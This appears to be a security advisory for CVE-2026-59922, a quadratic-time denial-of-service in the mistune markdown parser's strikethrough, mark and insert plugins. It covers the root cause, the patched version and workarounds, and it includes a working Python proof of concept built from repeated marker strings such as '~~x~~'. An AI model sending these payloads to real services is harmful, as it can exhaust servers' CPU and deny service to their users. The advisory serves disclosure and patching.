high · 7.5CVE-2026-59922Jul 20, 2026

CVE-2026-59922: mistune Quadratic Parsing DoS in Formatting Plugins

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Mistune's strikethrough, mark, and insert plugins parse repeated marker pairs (~~x~~, ==x==, ^^x^^) in O(N²) time, so a small crafted markdown string can peg the CPU for seconds and deny service to al

Packagemistune
Ecosystempip
Affected< 3.3.0
Fixed in3.3.0

The problem

In `src/mistune/plugins/formatting.py`, the `_STRIKE_END`, `_MARK_END`, and `_INSERT_END` regexes are each invoked at every potential opening marker position. For an input of N closed pairs like `~~x~~` repeated N times, the parser fires a forward close-scan at every `~~` token.

Each scan covers up to the end of input, giving N starts times O(N) work per scan, for O(N²) total.

The attack requires no authentication and no special privileges. Any endpoint that calls `mistune.create_markdown(plugins=['strikethrough'])` (or `mark` / `insert`) on user-supplied text is affected. An 8 KB payload pegs the CPU for ~4 seconds; 16 KB raises that to ~17 seconds.

Doubling input quadruples cost.

Proof of concept

A working proof-of-concept for CVE-2026-59922 in mistune, with the exact payload below.

python
import mistune, time

# Trigger against any of the three affected plugins
md = mistune.create_markdown(plugins=['strikethrough'])

for n in [500, 1000, 2000, 4000, 8000]:
    s = '~~x~~' * n
    t = time.time()
    md(s)
    print(f'~~x~~ * {n} ({len(s)}b): {(time.time()-t)*1000:.0f}ms')

# Expected output on mistune < 3.3.0 (Python 3.13, 2.5 GHz):
#   ~~x~~ *  500  (2500b):    19ms
#   ~~x~~ * 1000  (5000b):    71ms
#   ~~x~~ * 2000 (10000b):   272ms
#   ~~x~~ * 4000 (20000b):  1090ms
#   ~~x~~ * 8000 (40000b):  4302ms

# Same O(N^2) scaling for mark and insert:
# mistune.create_markdown(plugins=['mark'])('==x==' * 4000)   # ~1100ms
# mistune.create_markdown(plugins=['insert'])('^^x^^' * 4000) # ~1080ms

# Without any plugin, identical input is linear (4ms for 4000 reps).

The root cause (CWE-407 / CWE-1333) is a missing memoization or cap on open-marker tracking. Each `~~`, `==`, or `^^` token triggers a fresh forward scan via `_STRIKE_END` / `_MARK_END` / `_INSERT_END`. The individual regex is bounded, but the parser-level loop retries it at every marker position, producing N scans of up to N length each.

The patch in commit `96d0f57` (v3.3.0) addresses this by bounding the number of concurrently tracked unmatched markers, so extra markers beyond the cap are emitted as literal text without triggering additional scans. The fix keeps parsing linear in input size regardless of how many unmatched pairs appear.

A proper long-term alternative is a single-pass delimiter-stack algorithm, as used by `markdown-it-py` and `commonmark-py` for emphasis.

The fix

Upgrade to mistune 3.3.0 (`pip install 'mistune>=3.3.0'`). The fix is in commit `96d0f57f8fe9eeb06bb4cff521962a27d7c402e7`. If you cannot upgrade immediately, remove or disable the `strikethrough`, `mark`, and `insert` plugins, or add an application-level input length cap (for example, reject markdown inputs longer than 4 KB until you can patch).

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research